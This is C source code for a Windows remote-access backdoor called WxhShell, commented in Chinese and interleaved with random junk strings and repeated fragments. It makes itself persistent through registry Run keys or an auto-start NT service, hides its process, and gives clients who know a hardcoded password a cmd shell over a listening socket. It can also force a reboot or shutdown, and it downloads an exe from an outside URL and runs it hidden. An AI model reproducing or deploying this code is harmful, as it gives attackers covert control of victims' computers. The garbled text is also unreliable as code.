,"EnumProcessModules"); u_$4xNmQ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @6yc^DAA NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;6P>S4`w hg" i;I if (!NtQueryInformationProcess) return 0; Pgr2S I (T#$0RFq hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qisvGHo if(!hProcess) return 0; AJ7^'p9Y xyL)'C if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B#S8j18M h'-4nu;* CloseHandle(hProcess); NUYKMo1ze (Of6Ij? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W+!UVUpW if(hProcess==NULL) return 0; 8F8?1 o'$"MC+ HMODULE hMod; ]6^<VC`5D char procName[255]; {IJ;)<>&VE unsigned long cbNeeded; 8xO \,G9'c 'u if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1 ;$XX#7o aYaEy(m CloseHandle(hProcess); N9_* {HOy =WT$\KYGv
if(strstr(procName,"services")) return 1; // 以服务启动 L T$U
z uL/wV~g return 0; // 注册表启动 cDY)QUmi } H9(?yI@Zr# EcB
!bf // 主模块 qX-ptsQ int StartWxhshell(LPSTR lpCmdLine) S{;Pga*Px { y(Gn+ SOCKET wsl; CVa>5vt BOOL val=TRUE; 1z8"Gk6 int port=0; <3{MS],<< struct sockaddr_in door; >n09K8
A Jx.fDVJ if(wscfg.ws_autoins) Install(); am]M2+,2Ip 3@I0j/1#k1 port=atoi(lpCmdLine); nU>P%|loXx pNb2t/8%% if(port<=0) port=wscfg.ws_port; Sk|e#{ )*]A$\Oc[ WSADATA data; R7Y_ 7@p if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x8rg/y =:s`C,l.4 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; WT ;2aS: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SUUNC06V door.sin_family = AF_INET; o4kLgY !Q door.sin_addr.s_addr = inet_addr("127.0.0.1"); &" t~d}Rg door.sin_port = htons(port); nXRa_M(z8 L5FOlzn if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [_'A(. closesocket(wsl); y{hg4|\ return 1; 9Y,JYc# } GP%V(HhN 2xLtJR4L if(listen(wsl,2) == INVALID_SOCKET) { 1X2j%qI& closesocket(wsl); U9:)qvMXe return 1; t`H1]`c? } _U^[h ! Wxhshell(wsl); ~9+01UU^ WSACleanup(); GJ*IH9YR O% T?+1E return 0; " !EnQB= M_ukG~/ } K'ZNIRr/C !vgY3S0?rq // 以NT服务方式启动 ;0 B1P|7zK VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [LnPV2@e { oFU:]+.+D DWORD status = 0; g3$'Ghf DWORD specificError = 0xfffffff; !{jw!bB x
7by|G( serviceStatus.dwServiceType = SERVICE_WIN32; z{L'7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4{uQ}ea serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =-si|
1Z serviceStatus.dwWin32ExitCode = 0; Nbpn"*L, serviceStatus.dwServiceSpecificExitCode = 0; srv4kodj serviceStatus.dwCheckPoint = 0; G JRl{Y serviceStatus.dwWaitHint = 0; S1|u@d' `yv?PlKL hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2PlhnU Q7 if (hServiceStatusHandle==0) return; a* cWj}u ^+P.f[ status = GetLastError(); $ZI] if (status!=NO_ERROR) zzf@U&x< { E#KZZ lbx serviceStatus.dwCurrentState = SERVICE_STOPPED; r
W`7<3 serviceStatus.dwCheckPoint = 0; 5b}w serviceStatus.dwWaitHint = 0; S&!(h
{O serviceStatus.dwWin32ExitCode = status; jKml:)k serviceStatus.dwServiceSpecificExitCode = specificError; Y#9W]78He SetServiceStatus(hServiceStatusHandle, &serviceStatus); n|{K_! f return; 7
XxZF43 } E5^\]`9P >N |?>M* serviceStatus.dwCurrentState = SERVICE_RUNNING; D m0)%# serviceStatus.dwCheckPoint = 0; EVqW(|Xg serviceStatus.dwWaitHint = 0; h< r(:.%!} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A'jvm@DvQI } ,m# ni ?k' \\ // 处理NT服务事件,比如:启动、停止 Lm4`O% VOID WINAPI NTServiceHandler(DWORD fdwControl) J>A9]%M { 01?+j%k=m/ switch(fdwControl) D0\>E}Y E { }%u#TwZ case SERVICE_CONTROL_STOP: D -tRy~} serviceStatus.dwWin32ExitCode = 0; K+}0:W=P serviceStatus.dwCurrentState = SERVICE_STOPPED; V~dhTdQ5} serviceStatus.dwCheckPoint = 0; =>;&M)+q serviceStatus.dwWaitHint = 0; &4-;;h\H { 8 MO-QO SetServiceStatus(hServiceStatusHandle, &serviceStatus); #'Y lO-C } ?9\D(V return; /2?
CB\ case SERVICE_CONTROL_PAUSE: gE6'A serviceStatus.dwCurrentState = SERVICE_PAUSED; Ar!0GwE+ break; t%Jk3W/f case SERVICE_CONTROL_CONTINUE: w7@`:W serviceStatus.dwCurrentState = SERVICE_RUNNING; N#ggT9>X break; i3w~&y- case SERVICE_CONTROL_INTERROGATE: gQPw+0w break; QJ XP- }; <<0sv9qw1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); \\k=N(n } <Z%=lwtX ,\6Vb*G|E> // 标准应用程序主函数 712nD ?> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G`FYEmD { I}_}VSG( BY~Tc5 // 获取操作系统版本 {mJ'
Lb0; OsIsNt=GetOsVer(); r:bJU1P1$s GetModuleFileName(NULL,ExeFile,MAX_PATH); 2=_$&oT** EHC7b^|3} // 从命令行安装 6B?jc/V.R if(strpbrk(lpCmdLine,"iI")) Install(); F}}!e.>c #yH+ENp0
// 下载执行文件 =de'Yy:\- if(wscfg.ws_downexe) { ]6e(-v!U if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jc#D4e1# WinExec(wscfg.ws_filenam,SW_HIDE); i.t%a{gL } G!6b
)4L- &[[r| if(!OsIsNt) { Nm"P8/-09 // 如果时win9x,隐藏进程并且设置为注册表启动 NBPP?\1 HideProc(); >/A]C$?3 StartWxhshell(lpCmdLine); hoq2zDjD } C-y MWr else ~q3O,bb{ if(StartFromService()) OyO]; Yk // 以服务方式启动 aZb\uMePK StartServiceCtrlDispatcher(DispatchTable); ;eYG\uKC{ else iN&oSpQ // 普通方式启动 vaB ql(?'2 StartWxhshell(lpCmdLine); w^0hVrws=, /
dJz?0 return 0; "9_$7.q<y } Z<;W*6J {'M<dI$ )95k3xo q\@Zf} =========================================== ]VjvG}; `E$vWZq} \E?3nQM &G"s!: /0/ouA>+ PZ|I3z " _^&
q,S =Ydrct #include <stdio.h> >=0]7k; #include <string.h> T_D3WHp #include <windows.h> gxl7jY #include <winsock2.h> $E@n;0P #include <winsvc.h> &x1A{j_ #include <urlmon.h> c -k3<|H` GNJ/|9 #pragma comment (lib, "Ws2_32.lib") M 2hZ' #pragma comment (lib, "urlmon.lib") un 5r9 ~LS</_N #define MAX_USER 100 // 最大客户端连接数 iE'' >Z #define BUF_SOCK 200 // sock buffer T_S3_-|{== #define KEY_BUFF 255 // 输入 buffer v*!N}1+J K) }1; #define REBOOT 0 // 重启 "s0,9;
} #define SHUTDOWN 1 // 关机 (vG*)a 46g0
e #define DEF_PORT 5000 // 监听端口 'JOCL0FP \8xSfe #define REG_LEN 16 // 注册表键长度 -yf8 #define SVC_LEN 80 // NT服务名长度 _
dAyw Q'n+K5&p // 从dll定义API 23tX"e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `^[k8Z( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oMEW5.VX typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0''p29 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
P\MDD@ 4J5 zSTw // wxhshell配置信息 ?+Gt?-! 5q struct WSCFG { <mFDC?j int ws_port; // 监听端口 m+!.H\ char ws_passstr[REG_LEN]; // 口令 J!l/.:`6 int ws_autoins; // 安装标记, 1=yes 0=no DT`HS/~fH char ws_regname[REG_LEN]; // 注册表键名 ;}SGJ7 char ws_svcname[REG_LEN]; // 服务名 Ye3o}G9z char ws_svcdisp[SVC_LEN]; // 服务显示名 84WDR? char ws_svcdesc[SVC_LEN]; // 服务描述信息 bh@Ct nO char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9I/l+IS"X int ws_downexe; // 下载执行标记, 1=yes 0=no PRU&y/zZmG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -W9DH^EL< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Nud =K'P= 1\fx57a\ }; Sh(ys*y> }>6e-]MHfR // default Wxhshell configuration He=C\" struct WSCFG wscfg={DEF_PORT, J:Fq i p "xuhuanlingzhe", qGA|.I9, 1, f5*qlQJFz\ "Wxhshell", ZR\N~. "Wxhshell", S
a+Y/ "WxhShell Service", +#eol~j9N "Wrsky Windows CmdShell Service", sMMOZ'bT "Please Input Your Password: ", 7y=O!?* 1, {rcN_N% "http://www.wrsky.com/wxhshell.exe", s;I
@En "Wxhshell.exe" "<=4]Z }; 59zWB,y(P a=}1`Q // 消息定义模块 /ugWl99.W char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8|zavH#P char *msg_ws_prompt="\n\r? for help\n\r#>"; n$C-^3c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nriSVGi char *msg_ws_ext="\n\rExit."; OdFF)-K>~ char *msg_ws_end="\n\rQuit."; i(|ug_^ char *msg_ws_boot="\n\rReboot..."; nod&^%O" char *msg_ws_poff="\n\rShutdown..."; rci,&>L" char *msg_ws_down="\n\rSave to "; +%XByY5 cjL)M=pIS char *msg_ws_err="\n\rErr!"; b\0>uU char *msg_ws_ok="\n\rOK!"; B2kZ_4rB fx|d"VF[ char ExeFile[MAX_PATH]; t}k:wzZ@ int nUser = 0; b@CjnAZ HANDLE handles[MAX_USER]; BSMb(EnqX int OsIsNt; Zp/+F( ]_(hUj._ SERVICE_STATUS serviceStatus; Sesdhuy.@ SERVICE_STATUS_HANDLE hServiceStatusHandle; @.7/lRr@bp }W'j Dz7O // 函数声明 [p6:uNo int Install(void); ]B )nN': int Uninstall(void); c?CD;Pk int DownloadFile(char *sURL, SOCKET wsh); rx9*/Q0F int Boot(int flag); p(pfJ^/:( void HideProc(void); PV#h_X<l% int GetOsVer(void); B6dU6" int Wxhshell(SOCKET wsl); !-`L1D_hy void TalkWithClient(void *cs); ^<!R%"o- int CmdShell(SOCKET sock);
ULt5Zi int StartFromService(void); zH~P-MqC int StartWxhshell(LPSTR lpCmdLine); MJiVFfYW ntH`\ )xi VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F2
B(PGa7 VOID WINAPI NTServiceHandler( DWORD fdwControl ); h|]cZMGo OpaRQ= // 数据结构和表定义 :j`f%Vg~x SERVICE_TABLE_ENTRY DispatchTable[] = h"ZIh= j@ { `R2Iw
I& {wscfg.ws_svcname, NTServiceMain}, ?+EAp"{j {NULL, NULL} UWO3sZpU }; /V*SI!C<f F%
n}vA` // 自我安装 {LjzkXs int Install(void) ^>E>\uz0v { ~u$cX1M char svExeFile[MAX_PATH]; !U%
|pa HKEY key; ^>an4UJt strcpy(svExeFile,ExeFile); B]tj0FB`-* RVAku // 如果是win9x系统,修改注册表设为自启动 _b<;n|^ if(!OsIsNt) { ?'~u)O(n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 68P'<|u? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (qFZF7(Xa RegCloseKey(key); Lan|(!aW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t)j$lmQn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P-B5-Nz RegCloseKey(key); R|*0_!O:[ return 0; CtMqE+j^ } s/hgWW$ } #~'d
Y\& } #qVTB@d else { d(|?gN^ h rSH)LbJ // 如果是NT以上系统,安装为系统服务 jv.tg,c _6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vk
E]$4P[$ if (schSCManager!=0) i&H^xgm { j-BNHX SC_HANDLE schService = CreateService JL
G!;sov ( C')KZ|JIC schSCManager, iT&4;W=72~ wscfg.ws_svcname, rSv,;v wscfg.ws_svcdisp, *DIY;)K SERVICE_ALL_ACCESS, *=oO3c0|b, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4AEw[(t SERVICE_AUTO_START, 'GezIIaH SERVICE_ERROR_NORMAL, Jd/d\P svExeFile, d,?D '/ NULL, )A*53>JV NULL, c<Cf|W NULL, p^ (Z NULL, w#)u+^ - NULL T(u;<}e@[ ); +JYb)rn$^ if (schService!=0) tRI<K { /TsXm-g# CloseServiceHandle(schService); l F64g CloseServiceHandle(schSCManager); Iq%<E:+GL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $yi:0t8t strcat(svExeFile,wscfg.ws_svcname); G0!6rDu2, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jf4`
2KN\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !4Zy$69R RegCloseKey(key); _w\i ~To! return 0; b;D } 7yu-xnt3s } B?&0NpVD CloseServiceHandle(schSCManager); W#!AZ ! } WYF8?1dt + } FR6 W-L 6I RRRt O( return 1; p#qla' } MS#"TG/) A-1KTD // 自我卸载 z&0[F`U int Uninstall(void) ^ U,iDK_ { iLv
-*%% HKEY key; 3r#['UmT ! (lF#MG} if(!OsIsNt) { Q\s+w){f% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @_"cMU! RegDeleteValue(key,wscfg.ws_regname); nGWy4rY2S RegCloseKey(key); gdD|'h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W8QP6^lY RegDeleteValue(key,wscfg.ws_regname); R\ 8[6H RegCloseKey(key); ##''d||u return 0; ZRYlm$C } YGPb8! } Zgh~7Z/ } " 4#&tNQ else { .n+
;&5 w=?nD6Xhz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k waZn~ if (schSCManager!=0) ::{\O\w { z59;Qk SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JtY$AP$ if (schService!=0) o|d:rp!^ { 9mk@\Gqqm if(DeleteService(schService)!=0) { DcFY b|p CloseServiceHandle(schService); >n/0od9 CloseServiceHandle(schSCManager); m{ani/bt return 0; 2He R1m< } Hd;NvNS CloseServiceHandle(schService); 9c4p9b! } >lM/\HO2 CloseServiceHandle(schSCManager); {hN\=_6*EW } m4h)Wq } M
2|
k. b=S"o
)> return 1; uSYI
X }
Y*pXbztP !BW!!/U // 从指定url下载文件 b=BNbmX int DownloadFile(char *sURL, SOCKET wsh) 8J&9}@y { h
#gI1(uL HRESULT hr; +C;;4s) char seps[]= "/"; [4C_iaE char *token; d, g~.iS~ char *file; %pWJ2J@ char myURL[MAX_PATH]; }R}M>^(R4 char myFILE[MAX_PATH]; 6oQ7u90z* O[$X36z strcpy(myURL,sURL); n~
$S token=strtok(myURL,seps); aC=2v7* while(token!=NULL) 0sSBwG { NUb$PT file=token; bA0H token=strtok(NULL,seps); ORKJy)*" } QqF*SaO> zqU$V~5;rG GetCurrentDirectory(MAX_PATH,myFILE); }\H. G strcat(myFILE, "\\"); jtfC3E,U strcat(myFILE, file); cM9>V2:P send(wsh,myFILE,strlen(myFILE),0); <,p$eQ)T% send(wsh,"...",3,0); #O~pf[[L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yn+m,K/ if(hr==S_OK) gktlwiCZ return 0; X ]&`"Z] else -">Tvi4 return 1; g qORE/[ dHOH]x } C$q-WoTM( a}` M[%d7 // 系统电源模块 4e\w C int Boot(int flag) 27[e0 j { (&)uWjq
` HANDLE hToken; p cUccQ TOKEN_PRIVILEGES tkp; / QL<>g 3,i`FqQa if(OsIsNt) { >cjxu9Vr1K OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m,hqq%qz LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D->E& # tkp.PrivilegeCount = 1; fh_:ung tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H/[(T%]o AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1Zk1!> ? if(flag==REBOOT) { N1g;e?T': if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k}kwr[ return 0; wp8-(E^ } VIGLl'8p else { =&-.] |t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aVVE2:M return 0; gjK: a@{ } Dz.kJ_"Ro
} uCW}q.@4 else { 8Dxg6> if(flag==REBOOT) { ( Ygy%O% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *3RD\.jPX return 0; *a_QuEw_k } .'+JA:3R else { u-n$%yDS if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZA_~o#0% return 0;
p+Bvfn } >>R)?24,< } ;1,#rTs ZFX}=?+ return 1; # 6?2 2Os } WH $*\IGJL *x#5S.i1 // win9x进程隐藏模块 ?OO !M void HideProc(void) `ALQSo~l { u0+<[Ia'q 2"xhFxoD7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T3)m{gv0` if ( hKernel != NULL ) `+KLE(]vyH { U!"RfRD.< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S)2 U oj ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hZe9 Y?) FreeLibrary(hKernel); 3\<(!yY8 } \n#l+R23 RC"xnnIJv return; S=w ~bz,/ } m`XaY J \q-["W34 // 获取操作系统版本 fB; o3!y int GetOsVer(void) }LIf]YK { iu+H+_ OSVERSIONINFO winfo; ONcS,oHW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -Vg0J6x GetVersionEx(&winfo); kmfz.:j{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =>TXo@rVN return 1; sh<JB`^$(? else 8p~[8} return 0; K}S=f\Q] } ?
zic1i y(K:,CI // 客户端句柄模块 b$Bq#vdg: int Wxhshell(SOCKET wsl) 5oD%~Fk l { P!~&Ei SOCKET wsh; 2)^T[zHe struct sockaddr_in client; [S`Fm>, DWORD myID; h2]GV- l`K5fk while(nUser<MAX_USER) 7x
|Pgu( { P/9|mYmsq int nSize=sizeof(client); !G~\9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {\!@k\__ if(wsh==INVALID_SOCKET) return 1; ol4!#4Y&{ '(($dT handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U@:iN.. if(handles[nUser]==0) \HJ t } closesocket(wsh); G! ryW4 else ybm&g( -\ nUser++; n lvDMZ } {-5b[m( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zf\It<zT5 a)L=+Z return 0; yF&?gPh& } f%d
=X>_ 2-wvL&pi) // 关闭 socket l]e7 void CloseIt(SOCKET wsh) !jJH}o/KW { na4^RPtN\e closesocket(wsh); Y2p~chx9 nUser--; 5th\_n}N2/ ExitThread(0); q/tC/V%@( } 2ld0w=?+eu .3,Ow(3l // 客户端请求句柄 b9Ix*!Y void TalkWithClient(void *cs) 5adB5)` { 1Yv#4t PmE2T\{s! SOCKET wsh=(SOCKET)cs; N(&/ Ud char pwd[SVC_LEN]; VrRBwvp-K char cmd[KEY_BUFF]; }"chm=b char chr[1]; pe@/tO&I int i,j; ]
i\a[3 ;6zp,t0 while (nUser < MAX_USER) {
?#;zB @)wNINvD if(wscfg.ws_passstr) { ~{O@tt)F if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =gr3a,2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {~d8_%:b //ZeroMemory(pwd,KEY_BUFF);
}NJ? .Y i=0; Y{#m=-h while(i<SVC_LEN) { nR~L$Wu5_a ]+0I8eerd // 设置超时 thSo,uGlW fd_set FdRead; e_pyjaY!s struct timeval TimeOut; Bx&wS|-) D FD_ZERO(&FdRead); $lrq*Nf9c FD_SET(wsh,&FdRead); HPR*:t TimeOut.tv_sec=8; 'roZ:NE TimeOut.tv_usec=0; x-{awP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *[_>d.i if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AU
+2' u
kKp,1xz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w,FOq?j^k pwd=chr[0]; f9 b=Zm' if(chr[0]==0xd || chr[0]==0xa) { sh"\ kk9 pwd=0; 2L_ts= break; bMw)>4 } lTv_%hUp i++; !M&B=vk4 } G(~"Zt}? (yel // 如果是非法用户,关闭 socket M e if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U8KEg)Msk } f)+fdc ojH-;|f send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SW%d'1ya send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9WuKW*** vb.`rj6 while(1) { _,4f z( Ls^$E ZeroMemory(cmd,KEY_BUFF); =2eG j'} e$^ O_e // 自动支持客户端 telnet标准 Ci
? +Sl j=0; ^CwzAB while(j<KEY_BUFF) { o5FBqt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i'%:z]hp9 cmd[j]=chr[0]; q|%(47}z if(chr[0]==0xa || chr[0]==0xd) { ^\<1Y'' cmd[j]=0; GZ];U]_ break; daZY;_{"o } AT U
2\Y j++; =kvYE,,g_ } >p 7e6% RSY{IY // 下载文件 cwxO|
.m if(strstr(cmd,"http://")) { &?<o692 send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3RP}lb if(DownloadFile(cmd,wsh)) %G$Kahx V> send(wsh,msg_ws_err,strlen(msg_ws_err),0); jibrSz else ^8nK x<&5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,wlh0;, } `1KZ14K else { <5~} !N X` Ee##:I[z switch(cmd[0]) { b&!7(Q[ sT Au,}5=+`P // 帮助 '@iS5Fni case '?': { ~J6c1jG send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dt
4_x1 break; Ss&R!w9p } jv]:`$}G\ // 安装 rK2*DuE case 'i': { 4
|N&Y if(Install()) $N=A, S send(wsh,msg_ws_err,strlen(msg_ws_err),0); G~e`O,+ else g!O(@Sqp1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m4*Rr break; cV5Lp4wY? } ?zN v7Bj // 卸载 (+ 9_nAgZ, case 'r': { HQ+:0"B if(Uninstall()) xgt dmv% send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8_ns^6XK5p else 52>?l C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kG+CT break; c|Nv^V*2 } Au"[2cG // 显示 wxhshell 所在路径 x1$tS#lS case 'p': { G)?O!(_ char svExeFile[MAX_PATH]; 0QDm3V0n strcpy(svExeFile,"\n\r"); "@E1^ strcat(svExeFile,ExeFile); Db=
iJ68 send(wsh,svExeFile,strlen(svExeFile),0); k"V3FXC) break; 3
$Uv } .Lp0_R@ // 重启 LeY\{w case 'b': { y^:g"|q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >'8.>f if(Boot(REBOOT)) lBL;aTzo send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ ;$f-e else { ]5' closesocket(wsh); "S^;X
@#v ExitThread(0); 9QI\[lT& } ?jBna
~ break;
~-6Kl3Y } A[!Fg0X0 // 关机 Hi9 ;i/ case 'd': { RIM"MR9qe= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I, .`w/I+ if(Boot(SHUTDOWN)) 9+SeG\Th send(wsh,msg_ws_err,strlen(msg_ws_err),0); C 9,p- else { vu YH+ closesocket(wsh); u/cL[_Q ExitThread(0); '\dFhYs{* } ts%@1Y? break; S0g5Ym
ia } Ps.O.2Z5ZB // 获取shell uyxU>yHV<g case 's': { >u~ [{(d , CmdShell(wsh); >&aFSL,f closesocket(wsh); rGRxofi. ExitThread(0); v)+wr[Qs break; z(3mhMJY } yGH'|` // 退出 ZqkP# ]+Y' case 'x': { JQE^ bcr send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9 YU7R) CloseIt(wsh); 7
4aap2^ break; T8ZBQ;o } FymA_Eq // 离开 OgS6#X case 'q': { Z%XBuq:BY send(wsh,msg_ws_end,strlen(msg_ws_end),0); Nd#t != closesocket(wsh); EUe2<G WSACleanup(); 5}~*,_J2Z exit(1); oFHVA!lqe break; <Ky\ ^ } }`Q'!_` } d^Ra1@0"q2 } $ZXy&?4 r['T.yo // 提示信息 0d:t$2~C if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ay'=M`uO_ } [={pFq` } Fkz+Qz R',|Jf=` return; YurK@Tq7 } <=cj) 3>0/WbA:7E // shell模块句柄 Xe*@`&nv@ int CmdShell(SOCKET sock) H[<"DP { L1Fn;nR STARTUPINFO si; q!""pr<n ZeroMemory(&si,sizeof(si)); ^Cyx"s't si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /pFg<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2#*Bw= PROCESS_INFORMATION ProcessInfo; g84~d(\? char cmdline[]="cmd"; M[R, m_p CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S]9:3~ return 0; CTR|b}! } Zx55mSfx: 8S@ ~^D // 自身启动模式 E`iT>+LG< int StartFromService(void) EFf<|v { mh.0%
9`9 typedef struct T6Ue\Sp' { ePIBg( DWORD ExitStatus; =a?l@dI] DWORD PebBaseAddress; {.H}+ @0 DWORD AffinityMask; |vTirZP DWORD BasePriority; .-`7Av+7 ULONG UniqueProcessId; Rr4r[g# ULONG InheritedFromUniqueProcessId; vV#Jl)
A } PROCESS_BASIC_INFORMATION; +tdt>)a w^p
'D{{ PROCNTQSIP NtQueryInformationProcess; 0d`s(b54;O REoFP;H~ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 27t:-O static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z.]t_`KuF9 HG=!#-$9 HANDLE hProcess; VV?+q) PROCESS_BASIC_INFORMATION pbi; ;{q7rsE X LA HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TxN#3m?G if(NULL == hInst ) return 0; ;TMH.E,h: z6|P]u g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E} Uy- g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }/(fe`7: NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .4_EaQ;jX isDBNXV: if (!NtQueryInformationProcess) return 0; 8\. # K^A\S hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n9t8RcJS: if(!hProcess) return 0; 4zpprh+`K /r[0Dw if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'e7<&wm ia 8Th|' CloseHandle(hProcess); SG8|xoL twNZ^=S Gr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1-r1hZ- if(hProcess==NULL) return 0; ]8d]nftY zJ3{!E}`v HMODULE hMod; G:c)e,pD char procName[255]; *@cXBav/< unsigned long cbNeeded; cEve70MV h+,zfVJu if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lsY5QE:Qrp 